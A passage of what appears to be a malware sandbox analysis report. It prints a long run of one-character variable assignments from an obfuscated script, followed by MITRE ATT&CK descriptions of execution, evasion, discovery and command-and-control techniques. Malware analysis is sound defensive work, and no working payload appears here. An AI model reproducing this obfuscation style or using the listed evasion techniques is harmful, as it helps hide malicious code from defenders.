699	dotobmr = "l";
700	dotobmr = "t";
701	dotobmr = "K";
702	dotobmr = "g";
703	dotobmr = "B";
704	dotobmr = "q";
705	dotobmr = "j";
706	dotobmr = "V";
707	dotobmr = "E";
708	dotobmr = "v";
709	dotobmr = "G";
710	dotobmr = "l";
711	dotobmr = "x";
712	dotobmr = "A";
713	dotobmr = "s";
714	dotobmr = "R";
715	dotobmr = "B";
716	dotobmr = "n";
717	dotobmr = "L";
718	dotobmr = "h";
719	dotobmr = "C";
720	dotobmr = "Y";
721	dotobmr = "D";
722	dotobmr = "A";
723	dotobmr = "E";
724	dotobmr = "z";
725	dotobmr = "l";
726	dotobmr = "z";
727	dotobmr = "R";
728	dotobmr = "E";
729	dotobmr = "F";
730	dotobmr = "q";
731	dotobmr = "k";
732	dotobmr = " ";
733	gvxpa = "W";
734	gvxpa = "P";
735	gvxpa = "W";
736	gvxpa = "C";
737	gvxpa = "Y";
738	gvxpa = "p";
739	gvxpa = "P";
740	gvxpa = "N";
741	gvxpa = "r";
742	gvxpa = "c";
743	gvxpa = "Z";
744	gvxpa = "b";
745	gvxpa = "B";
746	gvxpa = "K";
747	gvxpa = "D";
748	gvxpa = "L";
749	gvxpa = "K";
750	gvxpa = "d";
751	gvxpa = "Q";
752	gvxpa = "f";
753	gvxpa = "e";
754	gvxpa = "b";
755	gvxpa = "I";
756	gvxpa = "d";
757	gvxpa = "n";
758	gvxpa = "f";
759	gvxpa = "u";
760	gvxpa = "M";
761	gvxpa = "I";
762	gvxpa = "p";
763	gvxpa = "E";
764	gvxpa = "P";
765	gvxpa = "i";
766	gvxpa = "G";
767	gvxpa = "G";
768	gvxpa = "d";
769	gvxpa = "D";
770	gvxpa = "f";
771	gvxpa = "x";
772	gvxpa = "H";
773	gvxpa = "g";
774	gvxpa = "T";
775	gvxpa = "W";
776	gvxpa = "x";
777	gvxpa = "Q";
778	pphsa = "J";
779	pphsa = "b";
780	pphsa = "Y";
781	akywjpbb = "w";
782	akywjpbb = "w";
783	akywjpbb = "R";
784	akywjpbb = "X";
785	akywjpbb = "d";
786	akywjpbb = "T";
787	akywjpbb = "F";
788	akywjpbb = "s";
789	akywjpbb = "S";
790	akywjpbb = "O";
791	akywjpbb = "D";
792	akywjpbb = "Y";
793	akywjpbb = "l";
794	akywjpbb = "z";
795	akywjpbb = "x";
796	akywjpbb = "P";
797	akywjpbb = "M";
798	akywjpbb = "C";
799	akywjpbb = "D";
800	akywjpbb = "t";
801	akywjpbb = "l";
802	akywjpbb = "R";
803	akywjpbb = "w";
804	akywjpbb = "U";
805	akywjpbb = "z";
806	akywjpbb = "f";
807	akywjpbb = "a";
808	akywjpbb = "e";
809	akywjpbb = "G";
810	akywjpbb = "e";
811	akywjpbb = "q";
812	akywjpbb = "N";
813	akywjpbb = "t";
814	akywjpbb = "U";
815	akywjpbb = "N";
816	mnjuu = "N";
817	mnjuu = "y";
818	mnjuu = "u";
819	mnjuu = "T";
820	mnjuu = "q";
821	mnjuu = "F";
822	mnjuu = "x";
823	mnjuu = "v";
824	mnjuu = "h";
825	mnjuu = "V";
826	mnjuu = "Z";
827	mnjuu = "L";
828	mnjuu = "p";
829	mnjuu = "Q";
830	mnjuu = "h";
831	mnjuu = "M";
832	mnjuu = "g";
833	mnjuu = "x";
834	mnjuu = "F";
835	mnjuu = "b";
836	mnjuu = "o";
837	mnjuu = "S";
838	mnjuu = "s";
839	mnjuu = "c";
840	mnjuu = "P";
841	mnjuu = "N";
842	mnjuu = "o";
843	mnjuu = "U";
844	mnjuu = "g";
845	mnjuu = "z";
846	mnjuu = "q";
847	mnjuu = "h";
848	dhvzzfqvx = "H";
849	dhvzzfqvx = "e";
850	dhvzzfqvx = "N";
851	dhvzzfqvx = "f";
852	dhvzzfqvx = ":";
853	xqweotl = "i";
854	cyunawds = "J";
855	cyunawds = "h";
856	cyunawds = "N";
857	cyunawds = "X";
858	cyunawds = "E";
859	cyunawds = "l";
860	cyunawds = "b";
861	cyunawds = "t";
862	cyunawds = "u";
863	cyunawds = "M";
864	cyunawds = "K";
865	cyunawds = "m";
866	cyunawds = "q";
867	cyunawds = "g";
868	cyunawds = "A";
869	cyunawds = "J";
870	cyunawds = "g";
871	cyunawds = "o";
872	cyunawds = "E";
873	cyunawds = "f";
874	cyunawds = "h";
875	cyunawds = "r";
876	cyunawds = "f";
877	cyunawds = "B";
878	cyunawds = "A";
879	cyunawds = "R";
880	cyunawds = "a";
881	iaflxmj = "M";
882	iaflxmj = "c";
883	iaflxmj = "t";
884	iaflxmj = "d";
885	iaflxmj = "F";
886	iaflxmj = "R";
887	iaflxmj = "t";
888	iaflxmj = "E";
889	iaflxmj = "a";
890	iaflxmj = "e";
891	iaflxmj = "e";
892	iaflxmj = "Y";
893	iaflxmj = "Z";
894	iaflxmj = "I";
895	iaflxmj = "O";
896	iaflxmj = "o";
897	iaflxmj = "F";
898	iaflxmj = "J";
899	iaflxmj = "N";
900	iaflxmj = "b";
901	iaflxmj = "A";
902	iaflxmj = "-";
903	mtiujpyj = "C";
904	mtiujpyj = "T";
905	mtiujpyj = "g";
906	mtiujpyj = "V";
907	mtiujpyj = "K";
908	mtiujpyj = "j";
909	mtiujpyj = "f";
910	mtiujpyj = "a";
911	mtiujpyj = "f";
912	mtiujpyj = "c";
913	mtiujpyj = "F";
914	mtiujpyj = "P";
915	mtiujpyj = "R";
916	mtiujpyj = "y";
917	mtiujpyj = "L";
918	mtiujpyj = "R";
919	mtiujpyj = "L";
920	mtiujpyj = "M";
921	mtiujpyj = "Q";
922	mtiujpyj = "J";
923	mtiujpyj = "W";
924	mtiujpyj = "L";
925	mtiujpyj = "r";
926	mtiujpyj = "a";
927	mtiujpyj = "e";
928	mtiujpyj = "P";
929	mtiujpyj = "9";
930	hmgcilw = "U";
931	hmgcilw = "w";
932	hmgcilw = "D";
933	hmgcilw = "M";
934	hmgcilw = "P";
935	hmgcilw = "P";
936	hmgcilw = "u";
937	hmgcilw = "B";
938	hmgcilw = "p";
939	hmgcilw = "n";
940	hmgcilw = "b";
941	hmgcilw = "d";
942	hmgcilw = "n";
943	hmgcilw = "I";
944	hmgcilw = "a";
945	hmgcilw = "u";
946	hmgcilw = "y";
947	hmgcilw = "L";
948	hmgcilw = "e";
949	hmgcilw = "n";
950	hmgcilw = "d";
951	hmgcilw = "C";
952	hmgcilw = "e";
953	hmgcilw = "k";
954	hmgcilw = "U";
955	hmgcilw = "Y";
956	hmgcilw = "e";
957	hmgcilw = "x";
958	hmgcilw = "S";
959	hmgcilw = "l";
960	hmgcilw = "s";
961	hmgcilw = "B";
962	hmgcilw = "J";
963	hmgcilw = "O";
964	hmgcilw = "i";
965	hmgcilw = "Q";
966	hmgcilw = "z";
967	hmgcilw = ".";
968	xlwlq = "D";
969	xlwlq = "Y";
970	xlwlq = "E";
971	xlwlq = "y";
972	xlwlq = "G";
973	xlwlq = "f";
974	xlwlq = "R";
975	xlwlq = "e";
976	xlwlq = "x";
977	xlwlq = "n";
978	xlwlq = "w";
979	xlwlq = "H";
980	pbbaoymbj = "e";
981	pbbaoymbj = "T";
982	pbbaoymbj = "k";
983	pbbaoymbj = "c";
984	pbbaoymbj = "f";
985	pbbaoymbj = "C";
986	pbbaoymbj = "k";
987	pbbaoymbj = "g";
988	pbbaoymbj = "A";
989	pbbaoymbj = "V";
990	pbbaoymbj = "w";
991	pbbaoymbj = "d";
992	pbbaoymbj = "x";
993	pbbaoymbj = "N";
994	pbbaoymbj = "J";
995	pbbaoymbj = "Q";
996	pbbaoymbj = "l";
997	pbbaoymbj = "A";
998	pbbaoymbj = "a";
999	pbbaoymbj = "u";
1000	pbbaoymbj = "e";
1001	pbbaoymbj = "w";
1002	pbbaoymbj = "j";
1003	pbbaoymbj = "l";
1004	pbbaoymbj = "K";
1005	pbbaoymbj = "y";
1006	pbbaoymbj = "y";
1007	pbbaoymbj = "m";
1008	pbbaoymbj = "l";
1009	pbbaoymbj = "v";
1010	pbbaoymbj = "S";
1011	pbbaoymbj = "y";
1012	pbbaoymbj = "F";
1013	pbbaoymbj = "m";
1014	pbbaoymbj = "Z";
1015	pbbaoymbj = "a";
1016	pbbaoymbj = "u";
1017	pbbaoymbj = "J";
1018	pbbaoymbj = "I";
1019	pbbaoymbj = "E";
1020	pbbaoymbj = "b";
1021	pbbaoymbj = "s";
1022	ulswe = "B";
1023	ulswe = "J";
1024	ulswe = "U";
1025	ulswe = "G";
1026	ulswe = "s";
1027	ulswe = "q";
1028	ulswe = "N";
1029	ulswe = "\"";
1030	bzlpmti = "F";
1031	bzlpmti = "Y";
1032	bzlpmti = "t";
1033	bzlpmti = "S";
1034	bzlpmti = "i";
1035	bzlpmti = "L";
1036	bzlpmti = "B";
1037	bzlpmti = "L";
1038	bzlpmti = "P";
1039	bzlpmti = "k";
1040	bzlpmti = "x";
1041	bzlpmti = "p";
1042	hcfzkgens = "m";
1043	hcfzkgens = "Z";
1044	hcfzkgens = "G";
1045	hcfzkgens = "i";
1046	hcfzkgens = "E";
1047	hcfzkgens = "h";
1048	hcfzkgens = "k";
1049	hcfzkgens = "j";
1050	hcfzkgens = "W";
1051	hcfzkgens = "L";
1052	hcfzkgens = "v";
1053	hcfzkgens = "V";
1054	hcfzkgens = "I";
1055	hcfzkgens = "D";
1056	hcfzkgens = "y";
1057	hcfzkgens = "K";
1058	hcfzkgens = "X";
1059	hcfzkgens = "G";
1060	hcfzkgens = "L";
1061	hcfzkgens = "a";
1062	hcfzkgens = "n";
1063	hcfzkgens = "A";
1064	hcfzkgens = "l";
1065	hcfzkgens = "X";
1066	hcfzkgens = "a";
1067	hcfzkgens = "H";
1068	hcfzkgens = "Y";
1069	hcfzkgens = "O";
1070	hcfzkgens = "z";
1071	hcfzkgens = "h";
1072	hcfzkgens = "u";
1073	hcfzkgens = "n";
1074	hcfzkgens = "u";
1075	hcfzkgens = "o";
1076	hcfzkgens = "P";
1077	hcfzkgens = "w";
1078	hcfzkgens = "t";
1079	mvbjytvk = "l";
1080	mvbjytvk = "y";
1081	mvbjytvk = "q";
1082	mvbjytvk = "t";
1083	mvbjytvk = "y";
1084	mvbjytvk = "l";
1085	mvbjytvk = "W";
1086	mvbjytvk = "d";
1087	mvbjytvk = "R";
1088	mvbjytvk = "f";
1089	mvbjytvk = "C";
1090	mvbjytvk = "B";
1091	mvbjytvk = "v";
1092	mvbjytvk = "w";
1093	mvbjytvk = "m";
1094	mvbjytvk = "J";
1095	mvbjytvk = "o";
1096	mvbjytvk = "C";
1097	mvbjytvk = "B";
1098	mvbjytvk = "g";
1099	mvbjytvk = "I";
1100	mvbjytvk = "e";
1101	mvbjytvk = "T";
1102	mvbjytvk = "p";
1103	mvbjytvk = "k";
1104	mvbjytvk = "f";
1105	mvbjytvk = "u";
1106	mvbjytvk = "b";
1107	mvbjytvk = "i";
1108	mvbjytvk = "l";
1109	mvbjytvk = "A";
1110	mvbjytvk = "P";
1111	mvbjytvk = "d";
1112	mvbjytvk = "x";
1113	mvbjytvk = "Z";
1114	mvbjytvk = "P";
1115	mvbjytvk = "K";
1116	ipotpz = "J";
1117	ipotpz = "h";
1118	ipotpz = "E";
1119	ipotpz = "I";
1120	ipotpz = "p";
1121	ipotpz = "R";
1122	ipotpz = "s";
1123	ipotpz = "S";
1124	ipotpz = "k";
1125	ipotpz = "A";
1126	ipotpz = "j";
1127	ipotpz = "u";
1128	ipotpz = "N";
1129	ipotpz = "D";
1130	ipotpz = "f";
1131	ipotpz = "R";
1132	tzvkesml = "N";
1133	tzvkesml = "v";
1134	tzvkesml = "h";
1135	tzvkesml = "w";
1136	tzvkesml = "g";
1137	tzvkesml = "W";
1138	tzvkesml = "C";
1139	tzvkesml = "b";
1140	tzvkesml = "j";
1141	tzvkesml = "l";
1142	tzvkesml = "c";
1143	tzvkesml = "O";
1144	tzvkesml = "g";
1145	tzvkesml = "g";
1146	tzvkesml = "j";
1147	tzvkesml = "D";
1148	tzvkesml = "j";
1149	tzvkesml = "r";
1150	tzvkesml = "I";
1151	tzvkesml = "Y";
1152	tzvkesml = "F";
1153	tzvkesml = "n";
1154	tzvkesml = "r";
1155	tzvkesml = "H";
1156	tzvkesml = "V";
1157	tzvkesml = "K";
1158	tzvkesml = "e";
1159	tzvkesml = "C";
1160	tzvkesml = "B";
1161	tzvkesml = "J";
1162	tzvkesml = "T";
1163	tzvkesml = "W";
1164	bgxfsx = "j";
1165	bgxfsx = "i";
1166	bgxfsx = "B";
1167	bgxfsx = "U";
1168	bgxfsx = "q";
1169	bgxfsx = "l";
1170	bgxfsx = "f";
1171	bgxfsx = "l";
1172	bgxfsx = "Z";
1173	bgxfsx = "p";
1174	bgxfsx = "o";
1175	bgxfsx = "t";
1176	bgxfsx = "H";
1177	bgxfsx = "C";
1178	bgxfsx = "b";
1179	bgxfsx = "l";
1180	bgxfsx = "N";
1181	bgxfsx = "C";
1182	bgxfsx = "k";
1183	bgxfsx = "a";
1184	bgxfsx = "b";
1185	asgupur = "m";
1186	asgupur = "p";
1187	asgupur = "r";
1188	asgupur = "a";
1189	asgupur = "c";
1190	zibaovpe = "y";
1191	zibaovpe = "M";
1192	zibaovpe = "h";
1193	zibaovpe = "D";
1194	zibaovpe = "S";
1195	zibaovpe = "w";
1196	zibaovpe = "j";
1197	zibaovpe = "m";
1198	zibaovpe = "L";
1199	zibaovpe = "a";
1200	zibaovpe = "d";
1201	zibaovpe = "y";
1202	zibaovpe = "i";
1203	zibaovpe = "V";
1204	zibaovpe = "N";
1205	zibaovpe = "L";
1206	zibaovpe = "i";
1207	zibaovpe = "S";
1208	zibaovpe = "Y";
1209	zibaovpe = "C";
1210	zibaovpe = "U";
1211	zibaovpe = "l";
1212	zibaovpe = "o";
1213	zibaovpe = "q";
1214	bhecj = "B";
1215	bhecj = "c";
1216	bhecj = "X";
1217	bhecj = "H";
1218	bhecj = "R";
1219	bhecj = "P";
1220	bhecj = "s";
1221	bhecj = "t";
1222	bhecj = "p";
1223	bhecj = "L";
1224	bhecj = "j";
1225	bhecj = "p";
1226	bhecj = "Q";
1227	bhecj = "u";
1228	bhecj = "H";
1229	bhecj = "g";
1230	bhecj = "o";
1231	bhecj = "H";
1232	bhecj = "i";
1233	bhecj = "Y";
1234	bhecj = "d";
1235	bhecj = "f";
1236	bhecj = "z";
1237	bhecj = "P";
1238	bhecj = "u";
1239	sodmpa = "T";
1240	sodmpa = "G";
1241	sodmpa = "q";
1242	sodmpa = "n";
1243	sodmpa = "w";
1244	sodmpa = "o";
1245	sodmpa = "K";
1246	sodmpa = "C";
1247	sodmpa = "W";
1248	sodmpa = "C";
1249	sodmpa = "W";
1250	sodmpa = "S";
1251	sodmpa = "w";
1252	sodmpa = "u";
1253	sodmpa = "k";
1254	sodmpa = "x";
1255	sodmpa = "R";
1256	sodmpa = "B";
1257	sodmpa = "A";
1258	sodmpa = "z";
1259	sodmpa = "u";
1260	sodmpa = "f";
1261	sodmpa = "q";
1262	sodmpa = "m";
1263	sodmpa = "O";
1264	sodmpa = "F";
1265	sodmpa = "L";
1266	sodmpa = "A";
1267	sodmpa = "\\";
1268	ktvgscz = "G";
1269	ktvgscz = "f";
1270	ktvgscz = "G";
1271	ktvgscz = "u";
1272	ktvgscz = "F";
1273	ktvgscz = "b";
1274	ktvgscz = "t";
1275	ktvgscz = "I";
1276	ktvgscz = "Z";
1277	ktvgscz = "f";
1278	ktvgscz = "H";
1279	ktvgscz = "K";
1280	ktvgscz = "s";
1281	ktvgscz = "T";
1282	ktvgscz = "Y";
1283	ktvgscz = "k";
1284	ktvgscz = "z";
1285	ktvgscz = "G";
1286	ktvgscz = "V";
1287	ktvgscz = "i";
1288	ktvgscz = "K";
1289	ktvgscz = "h";
1290	ktvgscz = "q";
1291	ktvgscz = "K";
1292	ktvgscz = "B";
1293	ktvgscz = "6";
1294	hbskvzjxr = "q";
1295	hbskvzjxr = "F";
1296	hbskvzjxr = "b";
1297	hbskvzjxr = "B";
1298	hbskvzjxr = "P";
1299	hbskvzjxr = "Y";
1300	hbskvzjxr = "T";
1301	hbskvzjxr = "Z";
1302	hbskvzjxr = "E";
1303	hbskvzjxr = "D";
1304	hbskvzjxr = "t";
1305	hbskvzjxr = "B";
1306	hbskvzjxr = "m";
1307	hbskvzjxr = "F";
1308	hbskvzjxr = "A";
1309	hbskvzjxr = "n";
1310	hbskvzjxr = "m";
1311	hbskvzjxr = "C";
1312	hbskvzjxr = "t";
1313	hbskvzjxr = "u";
1314	hbskvzjxr = "O";
1315	hbskvzjxr = "Y";
1316	hbskvzjxr = "p";
1317	hbskvzjxr = "A";
1318	hbskvzjxr = "F";
1319	hbskvzjxr = "D";
1320	hbskvzjxr = "a";
1321	hbskvzjxr = "P";
1322	hbskvzjxr = "F";
1323	hbskvzjxr = "h";
1324	hbskvzjxr = "v";
1325	hbskvzjxr = "j";
1326	hbskvzjxr = "O";
1327	hbskvzjxr = "w";
1328	kihuhyqd = "F";
1329	kihuhyqd = "n";
1330	kihuhyqd = "f";
1331	kihuhyqd = "W";
1332	kihuhyqd = "s";
1333	kihuhyqd = "W";
1334	kihuhyqd = "c";
1335	kihuhyqd = "i";
1336	kihuhyqd = "a";
1337	kihuhyqd = "c";
1338	kihuhyqd = "p";
1339	kihuhyqd = "B";
1340	kihuhyqd = "w";
1341	kihuhyqd = "G";
1342	kihuhyqd = "N";
1343	kihuhyqd = "S";
1344	kihuhyqd = "I";
1345	kihuhyqd = "O";
1346	kihuhyqd = "C";
1347	kihuhyqd = "Y";
1348	kihuhyqd = "w";
1349	kihuhyqd = "Q";
1350	kihuhyqd = "u";
1351	kihuhyqd = "s";
1352	kihuhyqd = "J";
1353	kihuhyqd = "t";
1354	kihuhyqd = "d";
1355	kihuhyqd = "s";
1356	kihuhyqd = "M";
1357	kihuhyqd = "V";
1358	kihuhyqd = "D";
1359	kihuhyqd = "D";
1360	kihuhyqd = "R";
1361	kihuhyqd = "U";
1362	kihuhyqd = "Y";
1363	kihuhyqd = "C";
1364	kihuhyqd = "E";
1365	kihuhyqd = "U";
1366	appaaaa = "p";
1367	appaaaa = "y";
1368	appaaaa = "I";
1369	appaaaa = "Q";
1370	appaaaa = "z";
1371	appaaaa = "P";
1372	appaaaa = "S";
1373	appaaaa = "v";
1374	appaaaa = "n";
1375	appaaaa = "G";
1376	appaaaa = "c";
1377	appaaaa = "&";
1378	matrfdfjt = "f";
1379	matrfdfjt = "v";
1380	matrfdfjt = "Q";
1381	matrfdfjt = "V";
1382	matrfdfjt = "v";
1383	matrfdfjt = "O";
1384	matrfdfjt = "y";
1385	matrfdfjt = "d";
1386	matrfdfjt = "W";
1387	matrfdfjt = "g";
1388	matrfdfjt = "V";
1389	matrfdfjt = "C";
1390	matrfdfjt = "F";
1391	matrfdfjt = "G";
1392	matrfdfjt = "I";
1393	bcvbft = "v";
1394	bcvbft = "P";
1395	aeqngelgu = "A";
1396	aeqngelgu = "c";
1397	aeqngelgu = "n";
1398	aeqngelgu = "g";
1399	aeqngelgu = "E";
1400	aeqngelgu = "g";
1401	aeqngelgu = "U";
1402	aeqngelgu = "O";
1403	aeqngelgu = "t";
1404	aeqngelgu = "y";
1405	aeqngelgu = "g";
1406	aeqngelgu = "k";
1407	aeqngelgu = "y";
1408	aeqngelgu = "J";
1409	aeqngelgu = "M";
1410	aeqngelgu = "l";
1411	aeqngelgu = "A";
1412	aeqngelgu = "I";
1413	aeqngelgu = "e";
1414	aeqngelgu = "a";
1415	aeqngelgu = "Z";
1416	aeqngelgu = "F";
1417	aeqngelgu = "d";
1418	opznhsy = "d";
1419	opznhsy = "h";
1420	opznhsy = "A";
1421	opznhsy = "j";
1422	opznhsy = "S";
1423	opznhsy = "j";
1424	opznhsy = "L";
1425	opznhsy = "z";
1426	opznhsy = "p";
1427	opznhsy = "k";
1428	opznhsy = "h";
1429	opznhsy = "x";
1430	opznhsy = "K";
1431	opznhsy = "F";
1432	opznhsy = "L";
1433	opznhsy = "l";
1434	opznhsy = "Y";
1435	opznhsy = "H";
1436	opznhsy = "p";
1437	opznhsy = "f";
1438	opznhsy = "v";
1439	opznhsy = "S";
1440	opznhsy = "N";
1441	opznhsy = "S";
1442	opznhsy = "Z";
1443	opznhsy = "k";
1444	opznhsy = "L";
1445	opznhsy = "u";
1446	opznhsy = "s";
1447	opznhsy = "k";
1448	opznhsy = "G";
1449	opznhsy = "C";
1450	opznhsy = "t";
1451	opznhsy = "E";
1452	opznhsy = "D";
1453	opznhsy = "d";
1454	opznhsy = "5";
1455	mlqstq = "M";
1456	mlqstq = "q";
1457	mlqstq = "n";
1458	mlqstq = "j";
1459	mlqstq = "T";
1460	mlqstq = "G";
1461	mlqstq = "p";
1462	mlqstq = "l";
1463	qjjqrrac ( );	qjjqrrac() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
